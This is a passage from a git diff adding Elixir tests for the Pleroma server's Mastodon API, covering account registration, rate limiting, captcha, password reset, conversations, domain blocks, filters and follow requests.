Bio", + agreement: true, + reason: "I'm a cool dude, bro" + }) + + response = json_response_and_validate_schema(conn, 200) + assert %{"identifier" => "awaiting_approval"} = response + refute response["access_token"] + refute response["token_type"] + + user = Repo.get_by(User, email: "lain@example.org") + + assert user.approval_pending + assert user.registration_reason == "I'm a cool dude, bro" + end + + test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do + _user = insert(:user, email: "lain@example.org") + app_token = insert(:oauth_token, user: nil) + + res = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/accounts", valid_params) + + assert json_response_and_validate_schema(res, 400) == %{ + "error" => "{\"email\":[\"has already been taken\"]}" + } + end + + test "returns bad_request if missing required params", %{ + conn: conn, + valid_params: valid_params + } do + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> put_req_header("content-type", "application/json") + + res = post(conn, "/api/v1/accounts", valid_params) + assert json_response_and_validate_schema(res, 200) + + [{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}] + |> Stream.zip(Map.delete(valid_params, :email)) + |> Enum.each(fn {ip, {attr, _}} -> + res = + conn + |> Map.put(:remote_ip, ip) + |> post("/api/v1/accounts", Map.delete(valid_params, attr)) + |> json_response_and_validate_schema(400) + + assert res == %{ + "error" => "Missing field: #{attr}.", + "errors" => [ + %{ + "message" => "Missing field: #{attr}", + "source" => %{"pointer" => "/#{attr}"}, + "title" => "Invalid value" + } + ] + } + end) + end + + test "returns bad_request if missing email params when :account_activation_required is enabled", + %{conn: conn, valid_params: valid_params} do + clear_config([:instance, :account_activation_required], true) + + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> put_req_header("content-type", "application/json") + + res = + conn + |> Map.put(:remote_ip, {127, 0, 0, 5}) + |> post("/api/v1/accounts", Map.delete(valid_params, :email)) + + assert json_response_and_validate_schema(res, 400) == + %{"error" => "Missing parameter: email"} + + res = + conn + |> Map.put(:remote_ip, {127, 0, 0, 6}) + |> post("/api/v1/accounts", Map.put(valid_params, :email, "")) + + assert json_response_and_validate_schema(res, 400) == %{ + "error" => "{\"email\":[\"can't be blank\"]}" + } + end + + test "allow registration without an email", %{conn: conn, valid_params: valid_params} do + app_token = insert(:oauth_token, user: nil) + conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token) + + res = + conn + |> put_req_header("content-type", "application/json") + |> Map.put(:remote_ip, {127, 0, 0, 7}) + |> post("/api/v1/accounts", Map.delete(valid_params, :email)) + + assert json_response_and_validate_schema(res, 200) + end + + test "allow registration with an empty email", %{conn: conn, valid_params: valid_params} do + app_token = insert(:oauth_token, user: nil) + conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token) + + res = + conn + |> put_req_header("content-type", "application/json") + |> Map.put(:remote_ip, {127, 0, 0, 8}) + |> post("/api/v1/accounts", Map.put(valid_params, :email, "")) + + assert json_response_and_validate_schema(res, 200) + end + + test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do + res = + conn + |> put_req_header("authorization", "Bearer " <> "invalid-token") + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/accounts", valid_params) + + assert json_response_and_validate_schema(res, 403) == %{"error" => "Invalid credentials"} + end + + test "registration from trusted app" do + clear_config([Pleroma.Captcha, :enabled], true) + app = insert(:oauth_app, trusted: true, scopes: ["read", "write", "follow", "push"]) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "client_credentials", + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token, "token_type" => "Bearer"} = json_response(conn, 200) + + response = + build_conn() + |> Plug.Conn.put_req_header("authorization", "Bearer " <> token) + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/accounts", %{ + nickname: "nickanme", + agreement: true, + email: "email@example.com", + fullname: "Lain", + username: "Lain", + password: "some_password", + confirm: "some_password" + }) + |> json_response_and_validate_schema(200) + + assert %{ + "access_token" => access_token, + "created_at" => _, + "scope" => "read write follow push", + "token_type" => "Bearer" + } = response + + response = + build_conn() + |> Plug.Conn.put_req_header("authorization", "Bearer " <> access_token) + |> get("/api/v1/accounts/verify_credentials") + |> json_response_and_validate_schema(200) + + assert %{ + "acct" => "Lain", + "bot" => false, + "display_name" => "Lain", + "follow_requests_count" => 0, + "followers_count" => 0, + "following_count" => 0, + "locked" => false, + "note" => "", + "source" => %{ + "fields" => [], + "note" => "", + "pleroma" => %{ + "actor_type" => "Person", + "discoverable" => false, + "no_rich_text" => false, + "show_role" => true + }, + "privacy" => "public", + "sensitive" => false + }, + "statuses_count" => 0, + "username" => "Lain" + } = response + end + end + + describe "create account by app / rate limit" do + setup do: clear_config([:rate_limit, :app_account_creation], {10_000, 2}) + + test "respects rate limit setting", %{conn: conn} do + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> Map.put(:remote_ip, {15, 15, 15, 15}) + |> put_req_header("content-type", "multipart/form-data") + + for i <- 1..2 do + conn = + conn + |> post("/api/v1/accounts", %{ + username: "#{i}lain", + email: "#{i}lain@example.org", + password: "PlzDontHackLain", + agreement: true + }) + + %{ + "access_token" => token, + "created_at" => _created_at, + "scope" => _scope, + "token_type" => "Bearer" + } = json_response_and_validate_schema(conn, 200) + + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + token_from_db = Repo.preload(token_from_db, :user) + assert token_from_db.user + end + + conn = + post(conn, "/api/v1/accounts", %{ + username: "6lain", + email: "6lain@example.org", + password: "PlzDontHackLain", + agreement: true + }) + + assert json_response_and_validate_schema(conn, :too_many_requests) == %{ + "error" => "Throttled" + } + end + end + + describe "create account with enabled captcha" do + setup %{conn: conn} do + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> put_req_header("content-type", "multipart/form-data") + + [conn: conn] + end + + setup do: clear_config([Pleroma.Captcha, :enabled], true) + + test "creates an account and returns 200 if captcha is valid", %{conn: conn} do + %{token: token, answer_data: answer_data} = Pleroma.Captcha.new() + + params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true, + captcha_solution: Pleroma.Captcha.Mock.solution(), + captcha_token: token, + captcha_answer_data: answer_data + } + + assert %{ + "access_token" => access_token, + "created_at" => _, + "scope" => "read", + "token_type" => "Bearer" + } = + conn + |> post("/api/v1/accounts", params) + |> json_response_and_validate_schema(:ok) + + assert Token |> Repo.get_by(token: access_token) |> Repo.preload(:user) |> Map.get(:user) + + Cachex.del(:used_captcha_cache, token) + end + + test "returns 400 if any captcha field is not provided", %{conn: conn} do + captcha_fields = [:captcha_solution, :captcha_token, :captcha_answer_data] + + valid_params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true, + captcha_solution: "xx", + captcha_token: "xx", + captcha_answer_data: "xx" + } + + for field <- captcha_fields do + expected = %{ + "error" => "{\"captcha\":[\"Invalid CAPTCHA (Missing parameter: #{field})\"]}" + } + + assert expected == + conn + |> post("/api/v1/accounts", Map.delete(valid_params, field)) + |> json_response_and_validate_schema(:bad_request) + end + end + + test "returns an error if captcha is invalid", %{conn: conn} do + params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true, + captcha_solution: "cofe", + captcha_token: "cofe", + captcha_answer_data: "cofe" + } + + assert %{"error" => "{\"captcha\":[\"Invalid answer data\"]}"} == + conn + |> post("/api/v1/accounts", params) + |> json_response_and_validate_schema(:bad_request) + end + end + + describe "GET /api/v1/accounts/:id/lists - account_lists" do + test "returns lists to which the account belongs" do + %{user: user, conn: conn} = oauth_access(["read:lists"]) + other_user = insert(:user) + assert {:ok, %Pleroma.List{id: list_id} = list} = Pleroma.List.create("Test List", user) + {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) + + assert [%{"id" => list_id, "title" => "Test List"}] = + conn + |> get("/api/v1/accounts/#{other_user.id}/lists") + |> json_response_and_validate_schema(200) + end + end + + describe "verify_credentials" do + test "verify_credentials" do + %{user: user, conn: conn} = oauth_access(["read:accounts"]) + + [notification | _] = + insert_list(7, :notification, user: user, activity: insert(:note_activity)) + + Pleroma.Notification.set_read_up_to(user, notification.id) + conn = get(conn, "/api/v1/accounts/verify_credentials") + + response = json_response_and_validate_schema(conn, 200) + + assert %{"id" => id, "source" => %{"privacy" => "public"}} = response + assert response["pleroma"]["chat_token"] + assert response["pleroma"]["unread_notifications_count"] == 6 + assert id == to_string(user.id) + end + + test "verify_credentials default scope unlisted" do + user = insert(:user, default_scope: "unlisted") + %{conn: conn} = oauth_access(["read:accounts"], user: user) + + conn = get(conn, "/api/v1/accounts/verify_credentials") + + assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = + json_response_and_validate_schema(conn, 200) + + assert id == to_string(user.id) + end + + test "locked accounts" do + user = insert(:user, default_scope: "private") + %{conn: conn} = oauth_access(["read:accounts"], user: user) + + conn = get(conn, "/api/v1/accounts/verify_credentials") + + assert %{"id" => id, "source" => %{"privacy" => "private"}} = + json_response_and_validate_schema(conn, 200) + + assert id == to_string(user.id) + end + end + + describe "user relationships" do + setup do: oauth_access(["read:follows"]) + + test "returns the relationships for the current user", %{user: user, conn: conn} do + %{id: other_user_id} = other_user = insert(:user) + {:ok, _user} = User.follow(user, other_user) + + assert [%{"id" => ^other_user_id}] = + conn + |> get("/api/v1/accounts/relationships?id=#{other_user.id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^other_user_id}] = + conn + |> get("/api/v1/accounts/relationships?id[]=#{other_user.id}") + |> json_response_and_validate_schema(200) + end + + test "returns an empty list on a bad request", %{conn: conn} do + conn = get(conn, "/api/v1/accounts/relationships", %{}) + + assert [] = json_response_and_validate_schema(conn, 200) + end + end + + test "getting a list of mutes" do + %{user: user, conn: conn} = oauth_access(["read:mutes"]) + other_user = insert(:user) + + {:ok, _user_relationships} = User.mute(user, other_user) + + conn = get(conn, "/api/v1/mutes") + + other_user_id = to_string(other_user.id) + assert [%{"id" => ^other_user_id}] = json_response_and_validate_schema(conn, 200) + end + + test "getting a list of blocks" do + %{user: user, conn: conn} = oauth_access(["read:blocks"]) + other_user = insert(:user) + + {:ok, _user_relationship} = User.block(user, other_user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/blocks") + + other_user_id = to_string(other_user.id) + assert [%{"id" => ^other_user_id}] = json_response_and_validate_schema(conn, 200) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/app_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/app_controller_test.exs new file mode 100644 index 000000000..a0b8b126c --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/app_controller_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AppControllerTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Repo + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.Push + + import Pleroma.Factory + + test "apps/verify_credentials", %{conn: conn} do + token = insert(:oauth_token) + + conn = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/v1/apps/verify_credentials") + + app = Repo.preload(token, :app).app + + expected = %{ + "name" => app.client_name, + "website" => app.website, + "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key) + } + + assert expected == json_response_and_validate_schema(conn, 200) + end + + test "creates an oauth app", %{conn: conn} do + user = insert(:user) + app_attrs = build(:oauth_app) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> assign(:user, user) + |> post("/api/v1/apps", %{ + client_name: app_attrs.client_name, + redirect_uris: app_attrs.redirect_uris + }) + + [app] = Repo.all(App) + + expected = %{ + "name" => app.client_name, + "website" => app.website, + "client_id" => app.client_id, + "client_secret" => app.client_secret, + "id" => app.id |> to_string(), + "redirect_uri" => app.redirect_uris, + "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key) + } + + assert expected == json_response_and_validate_schema(conn, 200) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs new file mode 100644 index 000000000..bf2438fe2 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs @@ -0,0 +1,159 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + + import Pleroma.Factory + import Swoosh.TestAssertions + + describe "GET /web/login" do + setup %{conn: conn} do + session_opts = [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + conn = + conn + |> Plug.Session.call(Plug.Session.init(session_opts)) + |> fetch_session() + + test_path = "/web/statuses/test" + %{conn: conn, path: test_path} + end + + test "redirects to the saved path after log in", %{conn: conn, path: path} do + app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".") + auth = insert(:oauth_authorization, app: app) + + conn = + conn + |> put_session(:return_to, path) + |> get("/web/login", %{code: auth.token}) + + assert conn.status == 302 + assert redirected_to(conn) == path + end + + test "redirects to the getting-started page when referer is not present", %{conn: conn} do + app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".") + auth = insert(:oauth_authorization, app: app) + + conn = get(conn, "/web/login", %{code: auth.token}) + + assert conn.status == 302 + assert redirected_to(conn) == "/web/getting-started" + end + end + + describe "POST /auth/password, with valid parameters" do + setup %{conn: conn} do + user = insert(:user) + conn = post(conn, "/auth/password?email=#{user.email}") + %{conn: conn, user: user} + end + + test "it returns 204", %{conn: conn} do + assert empty_json_response(conn) + end + + test "it creates a PasswordResetToken record for user", %{user: user} do + token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) + assert token_record + end + + test "it sends an email to user", %{user: user} do + ObanHelpers.perform_all() + token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) + + email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + end + + describe "POST /auth/password, with nickname" do + test "it returns 204", %{conn: conn} do + user = insert(:user) + + assert conn + |> post("/auth/password?nickname=#{user.nickname}") + |> empty_json_response() + + ObanHelpers.perform_all() + token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) + + email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + + test "it doesn't fail when a user has no email", %{conn: conn} do + user = insert(:user, %{email: nil}) + + assert conn + |> post("/auth/password?nickname=#{user.nickname}") + |> empty_json_response() + end + end + + describe "POST /auth/password, with invalid parameters" do + setup do + user = insert(:user) + {:ok, user: user} + end + + test "it returns 204 when user is not found", %{conn: conn, user: user} do + conn = post(conn, "/auth/password?email=nonexisting_#{user.email}") + + assert empty_json_response(conn) + end + + test "it returns 204 when user is not local", %{conn: conn, user: user} do + {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false)) + conn = post(conn, "/auth/password?email=#{user.email}") + + assert empty_json_response(conn) + end + + test "it returns 204 when user is deactivated", %{conn: conn, user: user} do + {:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true)) + conn = post(conn, "/auth/password?email=#{user.email}") + + assert empty_json_response(conn) + end + end + + describe "DELETE /auth/sign_out" do + test "redirect to root page", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> delete("/auth/sign_out") + + assert conn.status == 302 + assert redirected_to(conn) == "/" + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs new file mode 100644 index 000000000..3e21e6bf1 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs @@ -0,0 +1,209 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup do: oauth_access(["read:statuses"]) + + describe "returns a list of conversations" do + setup(%{user: user_one, conn: conn}) do + user_two = insert(:user) + user_three = insert(:user) + + {:ok, user_two} = User.follow(user_two, user_one) + + {:ok, %{user: user_one, user_two: user_two, user_three: user_three, conn: conn}} + end + + test "returns correct conversations", %{ + user: user_one, + user_two: user_two, + user_three: user_three, + conn: conn + } do + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 + {:ok, direct} = create_direct_message(user_one, [user_two, user_three]) + + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1 + + {:ok, _follower_only} = + CommonAPI.post(user_one, %{ + status: "Hi @#{user_two.nickname}!", + visibility: "private" + }) + + res_conn = get(conn, "/api/v1/conversations") + + assert response = json_response_and_validate_schema(res_conn, 200) + + assert [ + %{ + "id" => res_id, + "accounts" => res_accounts, + "last_status" => res_last_status, + "unread" => unread + } + ] = response + + account_ids = Enum.map(res_accounts, & &1["id"]) + assert length(res_accounts) == 2 + assert user_two.id in account_ids + assert user_three.id in account_ids + assert is_binary(res_id) + assert unread == false + assert res_last_status["id"] == direct.id + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 + end + + test "observes limit params", %{ + user: user_one, + user_two: user_two, + user_three: user_three, + conn: conn + } do + {:ok, _} = create_direct_message(user_one, [user_two, user_three]) + {:ok, _} = create_direct_message(user_two, [user_one, user_three]) + {:ok, _} = create_direct_message(user_three, [user_two, user_one]) + + res_conn = get(conn, "/api/v1/conversations?limit=1") + + assert response = json_response_and_validate_schema(res_conn, 200) + + assert Enum.count(response) == 1 + + res_conn = get(conn, "/api/v1/conversations?limit=2") + + assert response = json_response_and_validate_schema(res_conn, 200) + + assert Enum.count(response) == 2 + end + end + + test "filters conversations by recipients", %{user: user_one, conn: conn} do + user_two = insert(:user) + user_three = insert(:user) + {:ok, direct1} = create_direct_message(user_one, [user_two]) + {:ok, _direct2} = create_direct_message(user_one, [user_three]) + {:ok, direct3} = create_direct_message(user_one, [user_two, user_three]) + {:ok, _direct4} = create_direct_message(user_two, [user_three]) + {:ok, direct5} = create_direct_message(user_two, [user_one]) + + assert [conversation1, conversation2] = + conn + |> get("/api/v1/conversations?recipients[]=#{user_two.id}") + |> json_response_and_validate_schema(200) + + assert conversation1["last_status"]["id"] == direct5.id + assert conversation2["last_status"]["id"] == direct1.id + + [conversation1] = + conn + |> get("/api/v1/conversations?recipients[]=#{user_two.id}&recipients[]=#{user_three.id}") + |> json_response_and_validate_schema(200) + + assert conversation1["last_status"]["id"] == direct3.id + end + + test "updates the last_status on reply", %{user: user_one, conn: conn} do + user_two = insert(:user) + {:ok, direct} = create_direct_message(user_one, [user_two]) + + {:ok, direct_reply} = + CommonAPI.post(user_two, %{ + status: "reply", + visibility: "direct", + in_reply_to_status_id: direct.id + }) + + [%{"last_status" => res_last_status}] = + conn + |> get("/api/v1/conversations") + |> json_response_and_validate_schema(200) + + assert res_last_status["id"] == direct_reply.id + end + + test "the user marks a conversation as read", %{user: user_one, conn: conn} do + user_two = insert(:user) + {:ok, direct} = create_direct_message(user_one, [user_two]) + + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1 + + user_two_conn = + build_conn() + |> assign(:user, user_two) + |> assign( + :token, + insert(:oauth_token, user: user_two, scopes: ["read:statuses", "write:conversations"]) + ) + + [%{"id" => direct_conversation_id, "unread" => true}] = + user_two_conn + |> get("/api/v1/conversations") + |> json_response_and_validate_schema(200) + + %{"unread" => false} = + user_two_conn + |> post("/api/v1/conversations/#{direct_conversation_id}/read") + |> json_response_and_validate_schema(200) + + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 + + # The conversation is marked as unread on reply + {:ok, _} = + CommonAPI.post(user_two, %{ + status: "reply", + visibility: "direct", + in_reply_to_status_id: direct.id + }) + + [%{"unread" => true}] = + conn + |> get("/api/v1/conversations") + |> json_response_and_validate_schema(200) + + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1 + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 + + # A reply doesn't increment the user's unread_conversation_count if the conversation is unread + {:ok, _} = + CommonAPI.post(user_two, %{ + status: "reply", + visibility: "direct", + in_reply_to_status_id: direct.id + }) + + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1 + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 + end + + test "(vanilla) Mastodon frontend behaviour", %{user: user_one, conn: conn} do + user_two = insert(:user) + {:ok, direct} = create_direct_message(user_one, [user_two]) + + res_conn = get(conn, "/api/v1/statuses/#{direct.id}/context") + + assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200) + end + + defp create_direct_message(sender, recips) do + hellos = + recips + |> Enum.map(fn s -> "@#{s.nickname}" end) + |> Enum.join(", ") + + CommonAPI.post(sender, %{ + status: "Hi #{hellos}!", + visibility: "direct" + }) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/custom_emoji_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/custom_emoji_controller_test.exs new file mode 100644 index 000000000..ab0027f90 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/custom_emoji_controller_test.exs @@ -0,0 +1,23 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.CustomEmojiControllerTest do + use Pleroma.Web.ConnCase, async: true + + test "with tags", %{conn: conn} do + assert resp = + conn + |> get("/api/v1/custom_emojis") + |> json_response_and_validate_schema(200) + + assert [emoji | _body] = resp + assert Map.has_key?(emoji, "shortcode") + assert Map.has_key?(emoji, "static_url") + assert Map.has_key?(emoji, "tags") + assert is_list(emoji["tags"]) + assert Map.has_key?(emoji, "category") + assert Map.has_key?(emoji, "url") + assert Map.has_key?(emoji, "visible_in_picker") + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs new file mode 100644 index 000000000..664654500 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs @@ -0,0 +1,79 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + + import Pleroma.Factory + + test "blocking / unblocking a domain" do + %{user: user, conn: conn} = oauth_access(["write:blocks"]) + other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) + + assert %{} == json_response_and_validate_schema(ret_conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + assert User.blocks?(user, other_user) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) + + assert %{} == json_response_and_validate_schema(ret_conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + refute User.blocks?(user, other_user) + end + + test "blocking a domain via query params" do + %{user: user, conn: conn} = oauth_access(["write:blocks"]) + other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/domain_blocks?domain=dogwhistle.zone") + + assert %{} == json_response_and_validate_schema(ret_conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + assert User.blocks?(user, other_user) + end + + test "unblocking a domain via query params" do + %{user: user, conn: conn} = oauth_access(["write:blocks"]) + other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) + + User.block_domain(user, "dogwhistle.zone") + user = refresh_record(user) + assert User.blocks?(user, other_user) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/domain_blocks?domain=dogwhistle.zone") + + assert %{} == json_response_and_validate_schema(ret_conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + refute User.blocks?(user, other_user) + end + + test "getting a list of domain blocks" do + %{user: user, conn: conn} = oauth_access(["read:blocks"]) + + {:ok, user} = User.block_domain(user, "bad.site") + {:ok, user} = User.block_domain(user, "even.worse.site") + + assert ["even.worse.site", "bad.site"] == + conn + |> assign(:user, user) + |> get("/api/v1/domain_blocks") + |> json_response_and_validate_schema(200) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs new file mode 100644 index 000000000..0d426ec34 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs @@ -0,0 +1,152 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.MastodonAPI.FilterView + + test "creating a filter" do + %{conn: conn} = oauth_access(["write:filters"]) + + filter = %Pleroma.Filter{ + phrase: "knights", + context: ["home"] + } + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context}) + + assert response = json_response_and_validate_schema(conn, 200) + assert response["phrase"] == filter.phrase + assert response["context"] == filter.context + assert response["irreversible"] == false + assert response["id"] != nil + assert response["id"] != "" + end + + test "fetching a list of filters" do + %{user: user, conn: conn} = oauth_access(["read:filters"]) + + query_one = %Pleroma.Filter{ + user_id: user.id, + filter_id: 1, + phrase: "knights", + context: ["home"] + } + + query_two = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "who", + context: ["home"] + } + + {:ok, filter_one} = Pleroma.Filter.create(query_one) + {:ok, filter_two} = Pleroma.Filter.create(query_two) + + response = + conn + |> get("/api/v1/filters") + |> json_response_and_validate_schema(200) + + assert response == + render_json( + FilterView, + "index.json", + filters: [filter_two, filter_one] + ) + end + + test "get a filter" do + %{user: user, conn: conn} = oauth_access(["read:filters"]) + + # check whole_word false + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"], + whole_word: false + } + + {:ok, filter} = Pleroma.Filter.create(query) + + conn = get(conn, "/api/v1/filters/#{filter.filter_id}") + + assert response = json_response_and_validate_schema(conn, 200) + assert response["whole_word"] == false + + # check whole_word true + %{user: user, conn: conn} = oauth_access(["read:filters"]) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 3, + phrase: "knight", + context: ["home"], + whole_word: true + } + + {:ok, filter} = Pleroma.Filter.create(query) + + conn = get(conn, "/api/v1/filters/#{filter.filter_id}") + + assert response = json_response_and_validate_schema(conn, 200) + assert response["whole_word"] == true + end + + test "update a filter" do + %{user: user, conn: conn} = oauth_access(["write:filters"]) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"], + hide: true, + whole_word: true + } + + {:ok, _filter} = Pleroma.Filter.create(query) + + new = %Pleroma.Filter{ + phrase: "nii", + context: ["home"] + } + + conn = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/v1/filters/#{query.filter_id}", %{ + phrase: new.phrase, + context: new.context + }) + + assert response = json_response_and_validate_schema(conn, 200) + assert response["phrase"] == new.phrase + assert response["context"] == new.context + assert response["irreversible"] == true + assert response["whole_word"] == true + end + + test "delete a filter" do + %{user: user, conn: conn} = oauth_access(["write:filters"]) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"] + } + + {:ok, filter} = Pleroma.Filter.create(query) + + conn = delete(conn, "/api/v1/filters/#{filter.filter_id}") + + assert json_response_and_validate_schema(conn, 200) == %{} + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs new file mode 100644 index 000000000..6749e0e83 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs @@ -0,0 +1,74 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "locked accounts" do + setup do + user = insert(:user, locked: true) + %{conn: conn} = oauth_access(["follow"], user: user) + %{user: user, conn: conn} + end + + test "/api/v1/follow_requests works", %{user: user, conn: conn} do + other_user = insert(:user) + + {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) + {:ok, other_user} = User.follow(other_user, user, :follow_pending) + + assert User.following?(other_user, user) == false + + conn = get(conn, "/api/v1/follow_requests") + + assert [relationship] = json_response_and_validate_schema(conn, 200) + assert to_string(other_user.id) == relationship["id"] + end + + test "/api/v1/follow_requests/:id/authorize 